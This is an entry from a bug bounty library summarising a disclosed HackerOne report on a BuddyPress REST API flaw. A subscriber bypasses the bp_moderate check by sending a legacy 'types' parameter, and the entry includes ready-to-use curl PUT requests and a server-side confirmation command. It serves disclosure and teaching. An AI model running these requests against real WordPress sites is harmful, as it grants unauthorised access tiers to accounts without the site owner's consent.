# Broken access control: any member can self-assign arbitrary BuddyPress member types via the ungated "types" REST parameter, bypassing the bp_moderate

BuddyPress REST members endpoint gates only 'member_type' param, so any subscriber self-assigns arbitrary member types via the ungated 'types' alias, bypassing bp_moderate.

- Payout: hidden
- Severity: medium
- Program: WordPress
- Found by: jakubk
- Disclosed: 2026-11-22
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3892948
- Library page: https://bugbountylibrary.com/r/h1%3A3892948
- Tags: area:web domain:api domain:web kind:bounty platform:hackerone sev:medium tech:php tech:rest technique:legacy-endpoint technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** WordPress REST API endpoint PUT /wp-json/buddypress/v1/members/{id}
**Root cause:** update_item_permissions_check() only inspects the 'member_type' param for the bp_moderate gate, but prepare_item_for_database() later honors a legacy 'types' alias and writes it via bp_set_member_type() after the check passed.
**Steps:**
1. Register a member type (e.g. 'vip') via bp_register_member_type in an mu-plugin.
2. Authenticate as a plain subscriber (Application Password or cookie + X-WP-Nonce).
3. Control: `PUT /wp-json/buddypress/v1/members/2` with body `member_type=vip` returns HTTP 403 bp_rest_authorization_required.
4. Exploit: `PUT /wp-json/buddypress/v1/members/2` with body `types=vip` returns HTTP 200 with `"member_types":["vip"]`.
5. Confirm server-side: `wp eval 'var_export(bp_get_member_type(2, false));'` returns `array( 0 => 'vip', )`.
**How found:** Code reading: noticed the permission check at line 352/370 only reads 'member_type', while prepare_item_for_database() at line 796-807 also reads a legacy 'types' alias and writes it after the check, then tested both params.
**Exploitation:** Any single authenticated low-privilege account sends a PUT to its own member endpoint using the 'types' alias instead of 'member_type', self-assigning any registered member type without bp_moderate.
**Escalation:** Member types commonly gate directory filtering, profile/content visibility and access tiers (vip/staff/verified), so the self-assigned type may confer those privileges on installations that use them.
**Insight:** When a permission check inspects one request param but the write path accepts aliases/legacy names for the same field, enumerate every param the handler reads post-authorization and test each alias against the gate.

## Proof of concept (copied exactly from the original report)

**PUT with types alias bypasses gate**

```
PUT /wp-json/buddypress/v1/members/2
     Content-Type: application/x-www-form-urlencoded
     Body: types=vip
   Response: HTTP 200, body contains  "member_types":["vip"]
```

**curl blocked vs bypass requests**

```
curl -u mallory:APPPASS -X PUT https://SITE/wp-json/buddypress/v1/members/2 --data "member_type=vip"
  # bypass
  curl -u mallory:APPPASS -X PUT https://SITE/wp-json/buddypress/v1/members/2 --data "types=vip"
```

**Server-side confirmation of assigned type**

```
wp eval 'var_export(bp_get_member_type(2, false));'  ->  array( 0 => 'vip', )
   The WordPress role is unchanged (subscriber); this is a member-type escalation.
```

